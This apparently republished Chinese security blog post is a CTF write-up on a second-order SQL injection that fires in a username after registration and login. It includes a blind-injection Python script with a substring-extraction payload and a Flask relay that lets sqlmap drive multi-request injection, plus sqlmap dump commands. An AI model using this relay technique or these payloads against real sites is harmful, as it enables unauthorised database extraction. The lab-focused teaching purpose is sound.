SQL 注入进阶:FLASK 加工中转 SQLMAP 流量
2023-3-24 00:5:11 Author: LemonSec(查看原文) 阅读量:28 收藏

本文仅作为技术讨论及分享,严禁用于任何非法用途。

前言

在渗透工作中我们经常能碰到一些逻辑复杂的 SQL 注入漏洞,并不能直接通过 sqlmap 工具注入拿到结果。今年网鼎杯的一道 SQL 注入题 “张三的网站” 让我久久不能忘怀,我不断思考遇到这类型的 SQL 注入除了手工注入然后编写脚本一点一点脱数据以外,有没有一个比较优雅的解决方案呢?

一道 CTF 题的思考

先来说说 “张三的网站” 这道题目,因为我手上没有题目源码,所以就根据记忆中的各个功能自己写了一个(很少写 php,代码很烂),相关代码已经上传到 GitHub,见文章底部。

该题目主要涉及 3 个页面:

  1. 登陆页面

  2. 注册页面

  3. 登陆后的主页

题目中的登陆页面、注册页面均无 SQL 注入漏洞,但是登陆后的主页在用户名处存在 SQL 注入漏洞。要利用此漏洞,需要在注册页面控制用户名,邮箱使用随机数生成的邮箱,密码随意,然后使用邮箱和注册时的密码登陆,登陆成功后跳转到主页,此时触发 SQL 注入漏洞。
注册名为 “123” 的用户:


注册名为 “123’” 的用户:

以下是一个 Python 脚本手工注入的解法:

import requestsimport randomimport reimport string
proxy = {'http': '127.0.0.1:8080'}session = requests.session()

def register(username, email, password='123'): burp0_url = "http://192.168.154.130:80/web/register.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''} r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)

def login(email, password='123'): burp0_url = "http://192.168.154.130:80/web/login.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"email": email, "pw": password, "submit": ''} r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy) # 跳转首页 burp0_url = "http://192.168.154.130/web/index.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Referer": "http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php", "Connection": "close", "Upgrade-Insecure-Requests": "1"} r2 = session.get(burp0_url, headers=burp0_headers, proxies=proxy) if r2.status_code == 302: print('username payload no work') elif r2.status_code == 200: pattern = '''<span class="user-name">(.+?)</span>''' try: userr = re.findall(pattern, r2.text, re.DOTALL)[0] if userr: return True else: return False except: return False



def main(): key = string.ascii_lowercase + string.digits + '{}_-' flag = '' for keynum in range(1, 43): for s in key: username = r"""'or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) = '{1}') and '1""".format(keynum, s) email = '{}@qq.com'.format(int(random.random() * 10000000)) register(username, email) if login(email): flag += s print('key: ' + flag) break if __name__ == "__main__": main()

如果对 ctf 不熟悉的朋友应该会很懵,因为语句中直接查询获取了 flag 表中的内容,而正常情况下,我们是不知道真正的 flag 在上面表,这样的解法我个人觉得不具备通用性,当然了在 ctf 比赛中是很高效的。

那么,有没有可能通过 sqlmap 来进行注入呢?显然,直接使用 sqlmap 不进行二次开发是无法检测出注入点的,因为 sqlmap 的注入逻辑不支持多个数据包的逻辑处理。于是我在想有无一种办法,拿到 sqlmap 的注入检测 payload,然后我们通过 Python 编写相应的请求逻辑,再把响应结果返回到 sqlmap 呢?答案是可行的!

Flask 中转 sqlmap 注入

代码实现的结构如下,首先创建一个 flask 服务,接收 payload 参数的值,然后传入函数 custom_fun 中,custom_fun 函数由自己编写请求逻辑,把 payload 参数的值填入到存在注入点的参数中,然后发起请求,把最终响应结果 return 就行。最后通过 sqlmap 检测 URL:http://127.0.0.1:5000/?payload=1 即可,可以适当调整 sqlmap 的注入参数,比如 --level--risk--technique 等。

from flask import Flaskfrom flask import requestimport requestsimport random
def custom_fun(payload): return ''
app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def index(): if request.method == 'GET': payload = request.args.get('payload') elif request.method == 'POST': payload = request.form.get('payload') return custom_fun(payload)
def main(): app.run(host='127.0.0.1', debug=True)

if __name__ == "__main__": main()

流程示意图如下:

完整注入过程

先来看看本例的实现代码:

from flask import Flaskfrom flask import requestimport requestsimport random

def custom_fun(payload): email = '{}@qq.com'.format(int(random.random() * 10000000)) username = payload password = '123' proxy = {'http': '127.0.0.1:8080'} session = requests.session() # 注册 burp0_url = "http://192.168.154.130:80/web/register.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''} resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy) # 登陆 burp0_url = "http://192.168.154.130:80/web/login.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"email": email, "pw": password, "submit": ''} r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy) # 登陆后跳转到首页 burp0_url = "http://192.168.154.130/web/index.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"} resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy) resp.encoding = resp.apparent_encoding return resp.text
app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def index(): if request.method == 'GET': payload = request.args.get('payload') elif request.method == 'POST': payload = request.form.get('payload') return custom_fun(payload)


def main(): app.run(host='127.0.0.1', debug=True)

if __name__ == "__main__": main()

从代码上可以看到,只需要把请求逻辑写到 custom_fun 函数中,把最终结果的响应包 return 给 flask,剩下的就可以交给 sqlmap 了,优雅!

这里说一个小技巧,可以使用 Burp 的拓展 Copy As Python-Requests 来一键把 burp 的请求复制为 Python requests 请求:

然后使用 sqlmap 测试一下,因为是通过本地 flask 中转,我们的 sqlmap 的 target 应该是本地的 flask 服务端口,命令如下:

sqlmap -u http://127.0.0.1:5000/?payload=1

检测时 flask 服务的输出:

成功检测到注入点:

当前数据库:

sqlmap -u http://127.0.0.1:5000/?payload=1 --current-db

跑表名:

sqlmap -u http://127.0.0.1:5000/?payload=1 -D test --tables

跑 flag 表数据:

sqlmap -u http://127.0.0.1:5000/?payload=1 -D test -T flag --dump

测试环境代码

GitHub:https://github.com/ryanInf/fakeZhangSan


作者:r0yanx,文章来源于:https://r0yanx.com

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247543766&idx=2&sn=90918d3cc3e14424086f736cdae8b628&chksm=f9e3448dce94cd9b36da4faeea58dc86435bfec28a6f92a3a290f81a0371b0ec68bb01095860#rd
如有侵权请联系:admin#unsafe.sh